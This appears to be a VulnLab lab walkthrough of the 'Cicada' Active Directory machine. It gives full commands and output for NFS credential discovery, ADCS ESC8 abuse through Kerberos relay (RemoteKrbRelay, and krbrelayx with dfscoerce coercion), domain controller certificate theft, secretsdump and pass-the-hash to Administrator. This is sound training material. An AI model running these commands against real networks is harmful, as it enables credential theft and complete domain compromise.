VL-Cicada

Vulnlab Cicada: Advanced ADCS Exploitation and Kerberos Relay Attacks

In this detailed VulnLab walkthrough of the “Cicada” machine, we explore advanced Active Directory Certificate Services (ADCS) exploitation techniques combined with sophisticated Kerberos relay attacks. Our journey begins with discovering an exposed NFS share containing user credentials hidden within image files, followed by Kerberos-based authentication due to NTLM restrictions. The challenge showcases the ESC8 vulnerability in ADCS and demonstrates two distinct exploitation paths: a Windows-based approach using RemoteKrbRelay and a Linux-based method leveraging krbrelayx with DFS coercion. This comprehensive walkthrough highlights cutting-edge certificate template abuse techniques and demonstrates how modern attackers can bypass traditional authentication mechanisms to achieve complete domain compromise.

Initial Reconnaissance

Starting with a port scan to identify available services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
PORT      STATE SERVICE       REASON          VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-28 11:04:14Z)
111/tcp open rpcbind syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49503/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
50006/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
62920/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

The scan reveals we’re dealing with a Windows Active Directory environment (Domain: cicada.vl) with multiple services running, including NFS, which presents an interesting initial attack vector.

NFS Enumeration

Checking for available NFS shares:

1
2
3
└─$ showmount -e 10.10.107.186 
Export list for 10.10.107.186:
/profiles (everyone)

Mounting the exposed NFS share:

1
sudo mount -t nfs -o vers=3 10.10.107.186:/profiles /mnt/ -o nolock

After mounting, we discovered several potential usernames:

1
2
3
4
5
6
7
8
9
10
11
Administrator  
Daniel.Marshall
Debra.Wright
Jane.Carter
Jordan.Francis
Joyce.Andrews
Katie.Ward
Megan.Simpson
Richard.Gibbons
Rosie.Powell
Shirley.West

Initial Access via NFS

Exploring Rosie Powell’s directory:

1
2
3
4
5
6
7
┌──(panosoiko㉿kali)-[/mnt/Rosie.Powell]
└─$ ls -la
total 1797
drwxrwxrwx 2 4294967294 4294967294 64 Sep 15 2024 .
drwxrwxrwx 2 4294967294 4294967294 4096 Sep 15 2024 ..
drwx------ 2 4294967294 4294967294 64 Sep 15 2024 Documents
-rwx------ 1 4294967294 4294967294 1832505 Sep 13 2024 marketing.png

The file permissions suggest we need to match the UID to access these files. Setting read permissions:

1
sudo chmod +r /mnt/Rosie.Powell/marketing.png

Opening the marketing.png file revealed credentials:

Rosie.Powell : Cicada123

Password found in marketing.png

Authentication Attempts

When attempting to use these credentials over SMB, we encountered STATUS_NOT_SUPPORTED:

SMB authentication failure

Instead, we’ll request a Kerberos TGT (Ticket Granting Ticket) and use Kerberos authentication:

1
impacket-getTGT cicada.vl/Rosie.Powell:Cicada123
1
export KRB5CCNAME=Rosie.Powell.ccache

With Kerberos authentication, we now have access to LDAP and SMB:

Successful LDAP and SMB access

Domain Enumeration with BloodHound

Collecting Active Directory information with BloodHound:

1
nxc ldap DC-JPQ225.cicada.vl -k --use-kcache --bloodhound --dns-server 10.10.101.214 -c All --dns-tcp

No clear path to domain controller was initially visible in BloodHound.

Active Directory Certificate Services (ADCS) Enumeration

Investigating certificate services for potential vulnerabilities:

1
certipy find -k -target DC-JPQ225.cicada.vl -dc-ip 10.10.101.214 -debug

Output revealed important certificate authority information:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
CA Name                             : cicada-DC-JPQ225-CA
DNS Name : DC-JPQ225.cicada.vl
Certificate Subject : CN=cicada-DC-JPQ225-CA, DC=cicada, DC=vl
Certificate Serial Number : 1538EE585D915EB645C3B10CF9747B7C
Certificate Validity Start : 2025-03-28 17:51:10+00:00
Certificate Validity End : 2525-03-28 18:01:10+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CICADA.VL\Administrators
Access Rights
ManageCertificates : CICADA.VL\Administrators
CICADA.VL\Domain Admins
CICADA.VL\Enterprise Admins
ManageCa : CICADA.VL\Administrators
CICADA.VL\Domain Admins
CICADA.VL\Enterprise Admins
Enroll : CICADA.VL\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue

Discovery of ESC8 vulnerability opens several potential attack paths. Checking for resource-based constrained delegation vulnerabilities:

1
nxc smb DC-JPQ225.cicada.vl -k --use-kcache -M coerce_plus

Vulnerable services

None of those attacks worked, but we identified a new approach using Kerberos Relay to exploit ESC8: https://github.com/CICADA8-Research/RemoteKrbRelay

Machine Account Quota Check

Verifying if we can add machine accounts to the domain:

1
nxc ldap DC-JPQ225.cicada.vl -k --use-kcache -M maq

Machine Account Quota

With a machine account quota of 10, we can domain join our own Windows VM or use a TGT & RPCSS TGS on a non-domain joined Windows machine.

Exploitation Path 1: Windows VM Approach

Setting Up the Windows VM

  1. Install and configure OpenVPN on the Windows VM:
    OpenVPN installation

  2. Set the DNS IP to the domain controller:
    Network settings
    DC IP configuration

  3. Rename the PC and join the domain:
    PC rename
    Domain joining
    Cicada share access

    Note: Windows 10 Pro or Windows Server is required for domain joining.

Building and Running the Exploit

  1. Clone the RemoteKrbRelay repository and open the solution file in Visual Studio:
    Compiling the exploit

  2. Select Release, then x64, and build the solution. The executable will be in [SolutionFolder]\[ProjectFolder]\bin\Release\

  3. Run the following command to get a base64-encoded certificate (requires logging in as Rosie, starting VPN, then changing users):

    1
    RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3

    Note: This approach may be blocked by firewalls preventing RPC access.

  4. If successful, use the certificate to get a TGT:

    1
    python3 gettgtpkinit.py -pfx-base64 $(cat ./cert.pkcs12) -dc-ip IP cicada.vl/'DC-JPQ225$' adm.ccache
    1
    export KRB5CCNAME=./adm.ccache
  5. Extract secrets from the domain controller:

    1
    impacket-secretsdump cicada.vl/'DC-JPQ225$'@DC-JPQ225.cicada.vl -k -no-pass
  6. Get a TGT for the admin and establish a shell:

    1
    impacket-getTGT cicada.vl/adminstrator@DC-JPQ225.cicada.vl -hashes
    1
    export KRB5CCNAME=./adminstrator.ccache
    1
    impacket-wmiexec cicada.vl/adminstrator@DC-JPQ225.cicada.vl -k -no-pass

Exploitation Path 2: Linux Approach

  1. Add our machine to the domain:

    1
    bloodyAD --host DC-JPQ225.cicada.vl -u 'rosie.powell' -p 'Cicada123' -k -d 'cicada.vl' add dnsRecord 'dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.8.5.195
  2. Run krbrelayx to wait for a connection:

    1
    python3 krbrelayx.py -t 'http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC-JPQ225$'
  3. Trigger a connection back to us using dfscoerce to get the .pfx certificate:

    1
    python3 dfscoerce.py -k -no-pass 'dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc-jpq225.cicada.vl

    Output:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    [-] Connecting to ncacn_np:dc-jpq225.cicada.vl[\PIPE\netdfs]
    [+] Successfully bound!
    [-] Sending NetrDfsRemoveStdRoot!
    NetrDfsRemoveStdRoot
    ServerName: 'dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA\x00'
    RootShare: 'test\x00'
    ApiFlags: 1


    DFSNM SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.

    Getting PFX certificate

  4. Process the certificate using OpenSSL:

    1
    2
    openssl pkcs12 -in 'DC-JPQ225$.pfx' -nodes -nocerts -out key.pem -passin pass:
    openssl pkcs12 -in 'DC-JPQ225$.pfx' -nodes -nokeys -out cert.pem -passin pass:
  5. Create a new PKCS12 file without password:

    1
    openssl pkcs12 -export -in cert.pem -inkey key.pem -out DC-JPQ225-nopass.pfx -passout pass:
  6. Use Certipy to authenticate with the certificate:

    1
    certipy auth -pfx 'DC-JPQ225-nopass.pfx' -dc-ip 10.10.71.16 -domain cicada.vl
    1
    2
    3
    4
    5
    6
    [*] Using principal: dc-jpq225$@cicada.vl
    [*] Trying to get TGT...
    [*] Got TGT
    [*] Saved credential cache to 'dc-jpq225.ccache'
    [*] Trying to retrieve NT hash for 'dc-jpq225$'
    [*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:85a0da53871a----------
  7. Set up the Kerberos credential cache:

    1
    export KRB5CCNAME=dc-jpq225.ccache
  8. Extract all domain secrets:

    1
    impacket-secretsdump -k -no-pass DC-JPQ225.cicada.vl
    1
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a----------:::
  9. Finally, get a TGT for the Administrator:

    1
    impacket-getTGT cicada.vl/Administrator -hashes :85a0da53871a---------- -dc-ip 10.10.71.16

References

https://api.vulnlab.com/api/v1/share?id=4cc00787-bbf1-4974-a4bc-c40f0fb8521f

https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx